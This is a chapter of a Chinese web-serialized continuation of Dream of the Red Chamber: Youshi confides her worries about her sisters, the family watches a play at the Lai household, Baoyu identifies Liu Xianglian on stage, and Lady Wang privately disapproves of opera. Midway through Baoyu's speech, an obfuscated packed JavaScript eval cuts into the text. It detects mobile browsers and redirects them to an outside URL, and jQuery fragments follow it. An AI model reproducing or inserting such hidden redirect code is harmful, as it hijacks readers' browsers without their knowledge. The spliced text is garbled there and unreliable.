372.一八六下 如芒在背王氏暗忧

作品:《雪落红楼万芳春

    尤氏摇头叹道:“你不明白我的难处,若在别人家里,自然是你说的这个道理,我那家里却不同,怨不得我警惕。自我出来了,家里除了几个原本的老家人,只有老娘带着她两个过活,老娘又糊涂不知事,一味的唯唯诺诺,管束不得什么,她两个又生得好、又年轻,若一时想得岔了,便有什么事也难保的。正如你才说的,我们二姐儿像她娘,没主见,三姐儿却还有几分骨气烈性儿,胆子也大,这性子却了不得,这几年没个可靠的人在身边教导着,还不知是怎样。”


    尤氏说着,又将声音压低了几分,向外一努嘴儿,道:“他们兄弟的德性儿,你是最知道的。前头年节时我还怕她们闷了,特地打发人接了她们来住两日、多少热闹些,如今却不敢了,多一事不如少一事,凭她们在家里如何,总不与人相干,我只想办法不叫她们过来作怪也罢了。等过两年都嫁了出去,我便彻底没心肠了。”


    听见这话,凤姐想起贾琏来,也低声道:“虑得这些,也实在难为你。只是如今我却也新学了个道理——若那些人铁了心要弄出事情来,任咱们使出‘七十二变’来,也总是防不住的。我看你们女孩儿也不至于就如何坏了,到底是男人作的怪。”


    尤氏听了,也叹口气,道:“这里不是说话的地方,回去你得空儿往我那里去坐坐,我再同你细说。”说着又将凤姐继续来拿瓜子吃的手一打,嗔道:“你琏二奶奶什么好的没吃过,这会子倒与我抢这个吃,劳驾你自己耐烦剥两个罢,不至于就弄劈了指甲。”


    她两个这边说笑,另一头儿的李纨早听见了,此时抬头向这边望了一眼,眼里也说不清是什么情绪,尤氏便对她一笑,又道:“几日不见,怎么瞧着仿佛又瘦了?今日难得清闲,珠大奶奶也多用些酒饭,赖奶奶设宴是用了心的,滋味真是不坏——别听凤丫头胡说,有我看着她,她不会来闹你。”


    李纨扯了扯嘴角,也微微笑了一下,算是回应。


    尤氏便对凤姐道:“喏,安静看戏罢,你自己混不吝的,别扰得人家也不安生。”


    这时有丫头进来回报说姑娘们回来了,跟着便有两个老成的婆子领着莺莺燕燕的一队人还席,正是两家的姊妹们逛完园子回来。


    这小半日间她们想是彼此相处得极为愉快,才去时看着还有些客气生疏,此时却已十分热络亲密,两两挽着手儿,亲亲热热地一起走着。


    长辈们向来是最乐见孩子们和睦的,看她们这样,心里很喜欢,贾母对赖家姊妹笑道:“今日你们辛苦了,我才也同你们祖母说了,以后若得空时,也多来我们家里走一走,让她们姊妹也做一回东,请请你们。不要与她们客气,她们在家总也无事的,多两个人说话,还有趣些。”


    赖家姐妹笑着答应了,赖嬷嬷忙谦让道:“老太太想唤她们去做伴儿时,只管吩咐便了,又问她们作甚么,能进里面大园子逛一回,是她们修也修不来的福气。”一面又叫将烫好的果子酒再取一壶来,又敬了一轮。


    如此倒是半日清闲,众人各得其乐。


    今日赖家请的戏也好,除开前头吹打热闹的几折子外,后面竟也有些细腻好听的文戏。贾家众人常听府里那十二个女孩子的戏,偶尔换着听听外头的,倒也新鲜有趣,连已无聊了半日的宝玉也听住了。


    中间有一出戏,那做小生的扮相极俊美,且那一身行头鲜明不凡,比前头那些人的都精致许多——一身湖蓝素绉缎褶子,前胸后背都用绒线绣着缠枝兰草,裁剪得宜、银线滚边,不知费了多少人工;腰间系一条浅碧色丝绦,左右各缀着一颗暗红色的玛瑙珠儿,随着他缓步轻摇,意态超逸;头上一顶端正的文生巾,巾沿是一圈珍珠流苏,正中缀一块小小的如意形白玉,益发衬得此人面如冠玉、俊朗不凡,甫一露面,便博得个满堂彩。


    这人也的确当得起众人的叫好声,不但行头硬、功夫更硬,念白脆生生的、咬字极好听,唱腔也佳,最难得是形神兼备,既唱得好,比划间也有功架,又兼身段俊逸挺拔,凡有他在台上时,众人都忘了说话,一时都认真瞧戏,连贾母都赞了两句,点头道:“这个孩子唱得很好。”


    赖嬷嬷仔细瞧了瞧,道:“先前我那孙儿问我今日要传一班什么戏来,我也不大懂,就劝他不必班门弄斧,老太太、太太们什么好的没听过!不过听个声儿、热闹热闹也罢了,只叫他挑好的请来、别让老太太笑话也罢了,难得他能入了老太太的眼,倒不枉了。老太太若喜欢时,赶明儿让他们也往府里唱一回,都是容易的,只是这扮上之后都差不多,我倒也认不得了,还得往外问去。”


    一个婆子正要往外问戏班子的人去,宝玉却看着台上笑道:“不必问。这一个我却知道,他不是外头班里的人,是柳家的哥哥。”


    赖嬷嬷听见说,又眯着眼细看了一回,笑道:“到底还是宝哥儿眼明心亮,果然叫哥儿说中了,可不正是柳家的那个小子!他家常与我那不成器的孙子走得近,两个人从前只管一处混闹的,招猫逗狗的事情做了不少,也胡闹得有些可厌,我倒不知他也会唱戏。欸,这孩子一扮上比个丫头子还俊,比平日里又是不同的样子了,我又老了、眼睛也花,一时没认出来。”


    宝玉笑道:“赖奶奶不知道,柳家哥哥是个‘全才’,外头这些事,没有他不会的,连锣鼓箫管那些也俱来得,戏更是格外唱得好,他又向来爱串戏,既与您家里交好,这会子来捧个场也是有的。”


    赖嬷嬷呵呵笑着,瞧着贾母和王夫人的脸色,先自不说话。


    宝玉又对贾母道:“老祖宗,今日柳家哥哥唱的这个,原是为了赖家喜事助兴的题目儿,还不是他极好的。他自有极擅长的几出戏,生旦都来得,尤其是扮小旦的时候,真是妙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123874|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不可言。老祖宗瞧呀,他今日穿的行头,全是他自己置办的,柳家哥哥在这上头从不肯放松,只肯用江南织造的缎子和苏州的绣娘,冠带的宝石玉珠也都是他自家的,别人再没有这样好看的。唔,只一件有些难办——他只是爱串戏玩票、向来不跟戏班挂名的,且又有些傲气,不肯替人取乐,老祖宗若想瞧他的戏时,少不得我去下个帖儿好生请他来,这样只怕还来得。”


    贾母听说,只是慈爱地看了看宝玉,也不说请还是不请,又将镜片抬到眼前,眯着眼睛看了一回,笑道:“这孩子的确生得好,若只是外行随便顽一顽,有这样程度,也是难得了。”又问:“是哪一个‘柳家’?”


    赖嬷嬷在旁点评道:“不是要紧的人家,老太太不知道他也寻常。论理,那柳家本来也算是个中等的世家,也很富贵了几代,后来虽是没落没进项了,家产房屋却还尽够的,强似寻常人了。只是他父母又早亡,剩他一个半大的小子守着这许多家财,没人管教,偏又贪玩,这也是‘老鼠进了米缸’,真是不知怎样花用才好了。我瞧着只等他早晚把一个家败光了,他才知道些儿厉害哩。整日价儿做下那些荒唐事,便是我们瞧着、也替他父母心疼,他倒不觉得。”


    贾母听见柳家是这样,因与自家的情形倒互为一个照应,触动未来的隐忧,仿佛是个前车之鉴似的,心里便有些不喜,可她到底是一个慈祥厚道的老人,听见说柳湘莲父母双亡,心下不忍,便念了几句佛,又说了几句“可怜见儿的”。


    她们这边说得热闹,王夫人的脸色却有些阴沉下来,自己啜着茶掩饰着。


    王夫人自己是向来不赞成小孩子听戏的。


    她们有年纪的人无事听上两折、打发打发时间,这是不妨的,毕竟这些年里经历过的事情多,总有些定力,不过看个热闹、当取乐的顽意儿罢了,把那戏上的故事再不会当真的。


    小孩子家却不同,他们心性未熟,见过的事情少,只怕就把戏上的轻薄话听信了去,那些唱戏的人又多是浓妆艳抹、花枝招展、总束着个水蛇腰,一个二个妖妖俏俏的,哪里又有个正经人了?若是不加小心,容易便要被教坏了去。


    还好当今圣上英武圣明,早察觉了戏里多有那起子乌七八糟的东西,前些年专门下旨在礼部下面加设了“审戏官”一职,发下谕令去、叫满天下里所有的戏都得将本子交礼部审过无误后方得演出,若有不妥之处,也许改后重审,若是重审还不过,此本便永久封禁、再不得排演了,若是私授、私排、私演,一经发现,便是“淫风乱民、妖言惑众”,也是要下狱的重罪。


    为了这事,王夫人在心里不知念了多少遍“圣上英明”。每日她在佛前照例给女儿元春祈福禳灾时,又额外为圣上也念上一篇经文,万岁爷一定要万岁万万岁,不仅女儿终身有靠,且又可多颁下多少利国利民的旨意了。